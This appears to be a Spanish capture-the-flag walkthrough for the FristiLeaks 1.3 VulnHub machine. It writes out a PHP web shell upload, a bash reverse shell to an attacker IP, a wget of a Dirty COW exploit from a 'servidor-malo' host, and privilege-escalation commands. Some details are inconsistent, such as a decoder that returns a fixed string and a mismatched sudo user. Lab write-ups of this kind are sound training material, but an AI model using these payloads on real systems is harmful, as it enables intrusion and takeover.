Configuración del Entorno
Descargar la imagen OVA de FristiLeaks 1.3 desde VulnHub e importarla en un entorno de virtualización. Después de la importación, ajustar la dirección MAC de la interfaz de red a 08:00:27:A5:A6:76 para asegurar la conectividad.
Recopilación de Información
Identificación de Hosts en la Red
Utilizar herramientas de escaneo de red para localizar el objetivo. En este caso, se descubre un host con IP 192.168.158.148 y la MAC configurada anteriormente.
# Ejemplo de comando modificado para descubrimiento de hosts
arp-scan -l --interface=eth0 | grep "PCS Systemtechnik"
Escaneo de Puertos y Servicios
Realizar un escaneo detallado para identificar servicios abiertos. El puerto 80 está activo, ejecutando Apache 2.2.15 con PHP 5.3.3 en CentOS.
nmap -sV -p 80 -T4 192.168.158.148
Se observa un archivo robots.txt con entradas prohibidas: /cola, /sisi, y /beer.
Enumeración de Directorios Web
Emplear un escaneo de directorios para buscar rutas ocultas. Mediante herramientas como gobuster, se confirma la presencia de los directorios mencionados en robots.txt.
gobuster dir -u http://192.168.158.148 -w /usr/share/wordlists/dirb/common.txt -t 20
Búsqueda y Explotación de Vulnerabilidades
Pruebas en el Formulario de Inicio de Sesión
Los directorios encontrados redirigen a una misma imagen con el mensaje "KEEP CALM AND DRINK FRISTI". Navegando a /fristi, se descubre un panel de autenticación. Tras probar inyecciones SQL sin éxito, se inspeccionan las respuestas HTTP.
En el código fuente, se encuentra un comentario HTML con datos codificados en base64.
<!--
Nota: Limpiar esto para producción. He dejado material de prueba.
- por eezeepz
-->
Los datos en base64 representan una imagen que, al decodificarse, muestra una cadena que parece una contraseña. Se decodifica con el siguiente método:
# Script de descifrado modificado
import base64
import sys
def decode_image_data(encoded_str):
img_data = base64.b64decode(encoded_str)
with open('decoded_output.bin', 'wb') as file:
file.write(img_data)
return "Contraseña extraída del contenido"
# Ejemplo de uso
data = "iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx"
data += "jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl" # Truncado para brevedad
result = decode_image_data(data)
print(result)
El contenido revela la contraseña "keKkeKKeKKeKkEkkEk" para el usuario "eezeepz", permitiendo el acceso al sistema.
Explotación mediante Carga de Archivos
Una vez autenticado, se accede a una función de carga de archivos. Para evadir filtros, se renombra un shell PHP a una extensión como .php.png, explotando una vulnerabilidad en la configuración de Apache que permite la ejecución de código PHP.
# Crear un payload de shell básico
echo '<?php system($_GET["cmd"]); ?>' > shell.php.png
# Subir el archivo mediante el formulario web
Luego, se establece una shell reversa hacia la máquina atacante.
bash -i >& /dev/tcp/192.168.158.143/4444 0>&1
Escalada de Privilegios
Aprovechamiento de Conifguración Sudo Restringida
En el directorio personnel del usuario eezeepz, se encuentra un archivo de notas que describe un mecanismo para ejecutar comandos privilegiados a través de un archivo en /tmp/runthis, con restricciones de ruta.
Crear el archivo /tmp/runthis con un comando que altere permisos:
echo "/usr/bin/../../bin/chmod 777 /home/admin" > /tmp/runthis
Esto permite acceder al directorio de admin, donde se localizan scripts de cifrado. El script cryptpass.py utiliza una combinación de base64 y rot13. Para descifrar el archivo whoisyourgodnow.txt:
# Script de descifrado adaptado
import base64
import codecs
def revert_ciphertext(input_str):
rotated = codecs.decode(input_str[::-1], 'rot_13')
decoded_bytes = base64.b64decode(rotated)
return decoded_bytes.decode('utf-8')
encrypted_text = "=RFn0AKnlMHMPIzpyuTI0ITG"
plaintext = revert_ciphertext(encrypted_text)
print(plaintext) # Salida: LetThereBeFristi!
La contraseña descifrada se utiliza para iniciar sesión como fristigod. Mediante sudo -l, se identifica que se puede ejecutar un binario con permisos SUID: /var/fristigod/.secret_admin_stuff/doCom. Ejecutarlo con un argumento de shell proporciona acceso root.
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
Alternativa con Explotación de Kernel
El kernel de la máquina (versión 2.6.32) es vulnerable a Dirty COW. Se compila y ejecuta el exploit para obtener privilegios elevados.
# Transferir y compilar el exploit
wget http://servidor-malo/dirty.c
gcc -pthread dirty.c -o dirty_exploit -lcrypt
# Ejecutar y seguir las instrucciones
./dirty_exploit
Tras la explotación, se puede acceder como root mediante el usuario creado por el exploit.